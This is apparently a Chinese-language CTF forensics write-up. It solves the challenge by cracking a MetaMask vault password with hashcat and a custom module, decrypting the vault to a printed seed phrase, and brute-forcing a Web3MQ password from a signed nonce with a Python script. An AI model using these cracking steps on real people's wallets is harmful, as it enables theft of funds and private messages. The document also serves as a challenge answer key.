{"data":"WT5WJKyy+Ol+hgVsSKViRytzII2INhhftI5RJlgvuNuLx/MxDXMZtaIxfNeC/7LnvcfgitrTcQCQBh5ULv8AemL6SFSjzcACNrlCRIcppYmUFuMp6clW7nUi+My0Rj521yd/kwmLuHNToIRiACSezzLAWHkLXnZuvtDX2zyRvISZ0AQBseFXBecB0xKa0hcdoGsxBRBnK0vPvFf8b9TGfFAB7Qefh2O8GrFqzc40qX42gCgs+gVe0uq0A6SUSMKlwomMSfGQZJt6xfwMBZy8Or0kO0+D2Bjj0AgyIZaOeQ6S8IL/zcfO5Qi+gFaGpo6sGVOk1Yiu9+8enZvOuUW5IiIgydrzFKRixEMClAPa9MLDt3cksq52DxzorFLN8vYBqFY39DYQdSebg0HC6+Ww7XMz+b8FFKLqxLroar8F8IxP9WE1BHDIiT7mOcrUZnKW+W1Mmq6vbz+XuHmpz46OR8oD1KjwRVWV61qvTf7sg2H56fxbGrzjml89HATckwPrJ0cEwTAQcIkPZOA/DuuWsoHr6X6U4jYWJ+qwJFKYMIbwSWIdOmXKhb3kuJIS1YZzRCqHNJ0opudN6sRVOf/+nRp6wC4ww8LRTK1e1KTJ3aHdna7mIOJzMMO/0U0Gn9EDb4EMrK5XMzuZB0UaOR+9YmQaTUKGAQRNLVHMpdMgLQkVnxbZp4bIJiTRpXaKbIip+am9HAy4uq47vkY7ql72tQ5E4x9Ipkx4dKXF6ppiBBip6ag6QQ==","iv":"fPymLoml7KKyZ5wdqwylqg==","keyMetadata":{"algorithm":"PBKDF2","params":{"iterations":600000}},"salt":"xN8qVOAe6KF+JTti1cOyGNBNdSWTlumu1YQi2A4GcbU="}

由于documents里面发现了密码字典,于是直接使用metamask2hashcat.py得到密码hash

$metamask$xN8qVOAe6KF+JTti1cOyGNBNdSWTlumu1YQi2A4GcbU=$fPymLoml7KKyZ5wdqwylqg==$WT5WJKyy+Ol+hgVsSKViRytzII2INhhftI5RJlgvuNuLx/MxDXMZtaIxfNeC/7LnvcfgitrTcQCQBh5ULv8AemL6SFSjzcACNrlCRIcppYmUFuMp6clW7nUi+My0Rj521yd/kwmLuHNToIRiACSezzLAWHkLXnZuvtDX2zyRvISZ0AQBseFXBecB0xKa0hcdoGsxBRBnK0vPvFf8b9TGfFAB7Qefh2O8GrFqzc40qX42gCgs+gVe0uq0A6SUSMKlwomMSfGQZJt6xfwMBZy8Or0kO0+D2Bjj0AgyIZaOeQ6S8IL/zcfO5Qi+gFaGpo6sGVOk1Yiu9+8enZvOuUW5IiIgydrzFKRixEMClAPa9MLDt3cksq52DxzorFLN8vYBqFY39DYQdSebg0HC6+Ww7XMz+b8FFKLqxLroar8F8IxP9WE1BHDIiT7mOcrUZnKW+W1Mmq6vbz+XuHmpz46OR8oD1KjwRVWV61qvTf7sg2H56fxbGrzjml89HATckwPrJ0cEwTAQcIkPZOA/DuuWsoHr6X6U4jYWJ+qwJFKYMIbwSWIdOmXKhb3kuJIS1YZzRCqHNJ0opudN6sRVOf/+nRp6wC4ww8LRTK1e1KTJ3aHdna7mIOJzMMO/0U0Gn9EDb4EMrK5XMzuZB0UaOR+9YmQaTUKGAQRNLVHMpdMgLQkVnxbZp4bIJiTRpXaKbIip+am9HAy4uq47vkY7ql72tQ5E4x9Ipkx4dKXF6ppiBBip6ag6QQ==

注意metamask官方更新了加密策略,用hashcat里面内置的模式已经无法破解现在的密码了,需要取下载有人做好的版本,比如

https://github.com/flyinginsect271/MetamaskHashcatModule

然后放进hashcat的modules文件夹中

爆破即可

hashcat -a 0 -m 26650 1.txt ./passwords.txt --force

稍作等待,得到密码:

silversi

然后使用metamask官方的解密网站:https://metamask.github.io/vault-decryptor/

就得到助记词

acid happy olive slim crane avoid there cave umbrella connect rain vessel

于是就可以直接在本地的metamask中重置密码导入钱包

至此第一部分就结束了,已经成功的导入了钱包,然后就是对于idb进一步的挖掘。

于是就可以发现其中的web3mq相关的消息,了解后可得知这是一个链上通信的snap

如果你仔细去翻idb,可以发现其中有这样几条消息

可以发现是进行了签名操作,这里可以对消息进行解密

由于web3mq是开源的,所以对于这些格式都可以在源码中找到对应的代码,这里有用的是第一张图里的消息,你可以在这里找到它

https://github.com/Generative-Labs/Web3MQ-Snap/blob/fc18f84e653070f8914f5058ab870a6ef04d3ee8/packages/snap/src/register/index.ts#L204

  getMainKeypairSignContent = async (
    options: GetMainKeypairParams,
  ): Promise<GetSignContentResponse> => {
    const { password, did_value, did_type } = options;
    const keyIndex = 1;
    const keyMSG = `${did_type}:${did_value}${keyIndex}${password}`;

    const magicString = Uint8ToBase64String(
      new TextEncoder().encode(sha3_224(`$web3mq${keyMSG}web3mq$`)),
    );

    const signContent = `Signing this message will allow this app to decrypt messages in the Web3MQ protocol for the following address: ${did_value}. This won’t cost you anything.

If your Web3MQ wallet-associated password and this signature is exposed to any malicious app, this would result in exposure of Web3MQ account access and encryption keys, and the attacker would be able to read your messages.

In the event of such an incident, don’t panic. You can call Web3MQ’s key revoke API and service to revoke access to the exposed encryption key and generate a new one!

Nonce: ${magicString}`;

    return { signContent };
  };

仔细看看其实nonce大有来头,其格式如下

sha3_224(`$web3mq${did_type}:${did_value}${keyIndex}${password}web3mq$`)

通过更多源码,我们可以知道信息如下

did_type = "eth"
did_value = wallet_address
keyIndex = 1
password 未知

钱包地址可以看到是0xd1Abc6113bDa0269129c0fAa2Bd0C9c1bb512Be6,注意这里需要转变成全小写。所以说在这里未知的只有password,只要进行爆破就够了,而且是sha3-224可以爆破的非常快,编写脚本如下

import hashlib
import base64

def sha3_224(string):
    sha3 = hashlib.sha3_224()
    string = "$web3mqeth:0xd1abc6113bda0269129c0faa2bd0c9c1bb512be61"+string+"web3mq$"
    sha3.update(string.encode())
    return sha3.hexdigest()

def bruteforce_sha3_224(target_hash, wordlist):
    for word in wordlist:
        computed_hash = sha3_224(word)
        if computed_hash == target_hash:
            return word
    return None

target_Nonce = "Mzk2ZDBiNTVmZjkyMGRkYTVkNTFjMTQ3ODU4YTM1NDc4ZGE1NjExMTllYmRiYWE4MzQyM2M3YzI="
target_hash = base64.b64decode(target_Nonce).decode()
wordlist = open("passwords.txt", "r").read().split("\n")
print("target_hash: ", target_hash)
original_string = bruteforce_sha3_224(target_hash, wordlist)
if original_string:
    print(f"Found original string: {original_string}")
else:
    print("No match found in the wordlist.")

运行代码即可得到密码:

stanley1

至此,就已经完成了题目的所有部分,最后只需要登陆web3mq,点一下左下角的按钮,查看聊天记录即可